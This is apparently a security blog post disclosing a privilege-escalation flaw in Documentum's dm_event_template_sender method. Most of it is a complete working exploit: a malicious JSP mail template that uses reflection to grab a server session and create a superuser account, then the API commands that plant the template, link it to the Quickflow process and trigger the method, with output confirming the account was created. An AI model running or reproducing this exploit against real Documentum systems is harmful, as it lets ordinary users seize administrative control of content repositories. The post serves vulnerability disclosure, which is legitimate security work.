documentum security vulnerabilities: dm_event_template_sender

dm_event_template_sender method is a friend of dm_event_sender method, and as dm_event_sender can be used to gain superuser privileges 🙂 dm_event_template_sender method is intended to send notifications for workflow tasks and internally it works by the following way:

  • determines corresponding activity and workflow template
  • checks whenever dm_wf_email_template relation exists between activity or template
  • if relation exists and child is a jsp method “executes” jsp page

The problem is dm_event_template_sender does no check owner of mail template object, so any user is able to create own mail template and execute any code in JMS context. Example of exploitation:

~]$ cat > test.jsp  
<%@ page import="com.documentum.fc.client.DfClient" %>  
<%@ page import="com.documentum.fc.client.IDfSession" %>  
<%@ page import="com.documentum.fc.client.IDfUser" %>  
<%@ page import="com.documentum.fc.common.DfLoginInfo" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page contentType="text/html; charset=UTF-8" %>  
<%@ taglib uri="/dmp" prefix="dmp" %>  
  
<%  
    Object prs = request.getAttribute("param_resolution_attr");  
    Class<?> prsClass = prs.getClass();  
    Field contextField = prsClass.getDeclaredField("m_context");  
    contextField.setAccessible(true);  
    Object prc = contextField.get(prs);  
    contextField.setAccessible(false);  
  
    Class<?> prcClass = prc.getClass();  
    Field sessionField = prcClass.getDeclaredField("m_session");  
    sessionField.setAccessible(true);  
    IDfSession dfSession = (IDfSession) sessionField.get(prc);  
    String docbaseName = dfSession.getDocbaseName();  
    String serverName = dfSession.getServerConfig()  
            .getString("object_name");  
    String installOwner = dfSession.getServerConfig()  
            .getString("r_install_owner");  
    dfSession = new DfClient().newSession(docbaseName + "." + serverName,  
            new DfLoginInfo(installOwner, null));  
  
    IDfUser user = (IDfUser) dfSession.newObject("dm_user");  
    user.setUserLoginName("test3");  
    user.setUserName("test3");  
    user.setUserSourceAsString("inline password");  
    user.setUserPassword("test3");  
    user.setUserPrivileges(16);  
    user.save();  
    if (true) {  
        throw new Exception();  
    }  
%>  
~]$  
  
//new email template  
API> create,c,dm_document  
...  
0901d9208054e69a  
API> set,c,l,object_name  
SET> test  
...  
OK  
API> setfile,c,l,test.jsp,jsp  
...  
OK  
API> link,c,l,/Temp  
...  
OK  
API> save,c,l  
...  
OK  
  
//Quickflow process  
API> retrieve,c,dm_process where object_name='dmSendToList2'  
...  
4b01d920800002a5  
  
//Relation between Quickflow process and email template  
API> create,c,dm_relation  
...  
3701d9208003c900  
API> set,c,l,relation_name  
SET> dm_wf_email_template  
...  
OK  
API> set,c,l,parent_id  
SET> 4b01d920800002a5  
...  
OK  
API> set,c,l,child_id  
SET> 0901d9208054e69a  
...  
OK  
API> set,c,l,description  
SET> dm_startedworkitem  
...  
OK  
API> save,c,l  
...  
OK  
  
//tests  
API> retrieve,c,dm_user where user_name='test3'  
...  
[DM_API_E_NO_MATCH]error:  "There was no match in the docbase for the qualification:  
   dm_user where user_name='test3'"  
  
// go to webtop and run Quickflow to create workflow instance,  
// if dm_event_template_sender is a default mail method  
// new user will created automatically, otherwise run dm_event_template_sender  
// manually  
  
API>?,c,execute do_method with method='dm_event_template_sender',  
        arguments='"repo" "none" "dm_startedworkitem" " " "dormant" "workitem_id"  
        "none" "5" "workflow_id" "worklfow_name" "dmamdin" "dmadmin" " " "1"  
        "dmadmin" " " "undefined" "test@test.com" "queueitem_id" "02.01.2014 13:24:12"  
        "0" "manual" " " "0" " " "hostname|80" " " "temfile"  
        "./dm_mailwrapper.sh" "tempfile" "127.0.0.1"'  
  
API> retrieve,c,dm_user where user_name='test3'  
...  
1101d9208007810i